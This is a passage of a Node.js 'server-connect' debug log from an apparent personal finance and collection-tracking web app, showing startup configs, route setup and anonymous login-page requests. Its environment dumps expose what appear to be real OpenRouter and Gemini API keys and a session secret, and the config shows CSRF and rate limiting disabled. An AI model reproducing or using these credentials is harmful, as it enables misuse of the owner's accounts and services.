    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.224.5.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-28T14:22:23.109Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.224.5.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.224.5.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-27T16:45:23.912Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-27T16:45:26.183Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-27T16:45:27.047Z server-connect:setup:upload Upload middleware configured.
2026-06-27T16:45:27.047Z server-connect:secure CSRF Protection initialized
2026-06-27T16:45:27.053Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-27T16:45:27.054Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-27T16:45:27.055Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-27T16:45:27.058Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-27T16:45:27.066Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-27T16:45:27.067Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-27T16:45:27.081Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-27T16:45:27.097Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-27T16:45:27.101Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-27T16:45:27.102Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-27T16:45:27.104Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-27T16:45:27.109Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-27T16:45:27.114Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-27T16:45:27.124Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-27T16:45:27.128Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-27T16:45:27.136Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-27T16:45:27.137Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-27T16:45:27.142Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-27T16:45:27.147Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-27T16:45:27.151Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-27T16:45:27.153Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-27T16:45:27.161Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-27T16:45:27.163Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-27T16:45:27.169Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-27T16:45:27.171Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-27T16:45:27.175Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-27T16:45:27.177Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-27T16:45:27.179Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-27T16:45:27.185Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-27T16:45:27.185Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-27T16:45:27.188Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-27T16:45:27.190Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-27T16:45:27.194Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-27T16:45:27.196Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-27T16:45:27.202Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-27T16:45:27.206Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-27T16:45:27.208Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-27T16:45:27.218Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-27T16:45:27.706Z server-connect:router Serving templateView /
2026-06-27T16:45:27.709Z server-connect:app Executing action step identify
2026-06-27T16:45:27.709Z server-connect:app options: { provider: 'security' }
2026-06-27T16:45:27.711Z server-connect:auth No login cookie found
2026-06-27T16:45:27.711Z server-connect:output identity: false
2026-06-27T16:45:27.711Z server-connect:app Executing action step restrict
2026-06-27T16:45:27.711Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-27T16:45:27.715Z server-connect:output restrict: undefined
2026-06-27T16:45:27.757Z server-connect:router Serving templateView /login
2026-06-27T16:45:27.758Z server-connect:app Executing action step identify
2026-06-27T16:45:27.758Z server-connect:app options: { provider: 'security' }
2026-06-27T16:45:27.758Z server-connect:auth No login cookie found
2026-06-27T16:45:27.758Z server-connect:output identity: false
2026-06-27T16:45:27.758Z server-connect:router Render template layouts/authentication
2026-06-27T16:45:27.759Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123',
    accept: 'text/html,application/xhtml+xml',
    'accept-language': 'en-US',
    'cache-control': 'no-cache',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '193.235.141.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-28T16:45:27.756Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '193.235.141.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '193.235.141.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-28T08:25:04.406Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-28T08:25:06.680Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-28T08:25:07.543Z server-connect:setup:upload Upload middleware configured.
2026-06-28T08:25:07.543Z server-connect:secure CSRF Protection initialized
2026-06-28T08:25:07.548Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-28T08:25:07.550Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-28T08:25:07.551Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-28T08:25:07.554Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-28T08:25:07.559Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-28T08:25:07.566Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-28T08:25:07.576Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-28T08:25:07.591Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-28T08:25:07.595Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-28T08:25:07.596Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-28T08:25:07.598Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-28T08:25:07.603Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-28T08:25:07.608Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-28T08:25:07.618Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-28T08:25:07.623Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-28T08:25:07.694Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-28T08:25:07.697Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-28T08:25:07.700Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-28T08:25:07.706Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-28T08:25:07.710Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-28T08:25:07.713Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-28T08:25:07.721Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-28T08:25:07.722Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-28T08:25:07.728Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-28T08:25:07.728Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-28T08:25:07.733Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-28T08:25:07.736Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-28T08:25:07.736Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-28T08:25:07.743Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-28T08:25:07.746Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-28T08:25:07.746Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-28T08:25:07.749Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-28T08:25:07.752Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-28T08:25:07.756Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-28T08:25:07.761Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-28T08:25:07.766Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-28T08:25:07.770Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-28T08:25:07.779Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-28T09:38:32.263Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-28T09:38:34.534Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-28T09:38:35.458Z server-connect:setup:upload Upload middleware configured.
2026-06-28T09:38:35.458Z server-connect:secure CSRF Protection initialized
2026-06-28T09:38:35.462Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-28T09:38:35.465Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-28T09:38:35.466Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-28T09:38:35.468Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-28T09:38:35.474Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-28T09:38:35.479Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-28T09:38:35.491Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-28T09:38:35.505Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-28T09:38:35.509Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-28T09:38:35.511Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-28T09:38:35.513Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-28T09:38:35.517Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-28T09:38:35.523Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-28T09:38:35.532Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-28T09:38:35.537Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-28T09:38:35.609Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-28T09:38:35.610Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-28T09:38:35.615Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-28T09:38:35.620Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-28T09:38:35.624Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-28T09:38:35.626Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-28T09:38:35.634Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-28T09:38:35.636Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-28T09:38:35.642Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-28T09:38:35.644Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-28T09:38:35.648Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-28T09:38:35.650Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-28T09:38:35.654Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-28T09:38:35.660Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-28T09:38:35.662Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-28T09:38:35.662Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-28T09:38:35.665Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-28T09:38:35.669Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-28T09:38:35.671Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-28T09:38:35.677Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-28T09:38:35.681Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-28T09:38:35.683Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-28T09:38:35.693Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-28T09:38:36.181Z server-connect:router Serving templateView /
2026-06-28T09:38:36.183Z server-connect:app Executing action step identify
2026-06-28T09:38:36.183Z server-connect:app options: { provider: 'security' }
2026-06-28T09:38:36.186Z server-connect:auth No login cookie found
2026-06-28T09:38:36.186Z server-connect:output identity: false
2026-06-28T09:38:36.186Z server-connect:app Executing action step restrict
2026-06-28T09:38:36.186Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-28T09:38:36.190Z server-connect:output restrict: undefined
2026-06-28T09:38:36.292Z server-connect:router Serving templateView /login
2026-06-28T09:38:36.292Z server-connect:app Executing action step identify
2026-06-28T09:38:36.292Z server-connect:app options: { provider: 'security' }
2026-06-28T09:38:36.293Z server-connect:auth No login cookie found
2026-06-28T09:38:36.293Z server-connect:output identity: false
2026-06-28T09:38:36.293Z server-connect:router Render template layouts/authentication
2026-06-28T09:38:36.293Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.217.128.115',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-29T09:38:36.290Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.217.128.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.217.128.115',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-29T04:01:48.957Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T04:01:51.228Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T04:01:52.093Z server-connect:setup:upload Upload middleware configured.
2026-06-29T04:01:52.093Z server-connect:secure CSRF Protection initialized
2026-06-29T04:01:52.097Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T04:01:52.099Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T04:01:52.100Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T04:01:52.102Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T04:01:52.109Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T04:01:52.114Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T04:01:52.125Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T04:01:52.140Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T04:01:52.144Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T04:01:52.145Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T04:01:52.148Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T04:01:52.152Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T04:01:52.158Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T04:01:52.168Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T04:01:52.171Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T04:01:52.243Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T04:01:52.246Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T04:01:52.250Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T04:01:52.255Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T04:01:52.260Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T04:01:52.261Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T04:01:52.272Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T04:01:52.272Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T04:01:52.279Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T04:01:52.280Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T04:01:52.284Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T04:01:52.287Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T04:01:52.287Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T04:01:52.295Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T04:01:52.295Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T04:01:52.297Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T04:01:52.300Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T04:01:52.305Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T04:01:52.305Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T04:01:52.311Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T04:01:52.315Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T04:01:52.318Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T04:01:52.327Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T05:31:50.423Z server-connect:setup:config {
  port: 3001,
  debug: true,
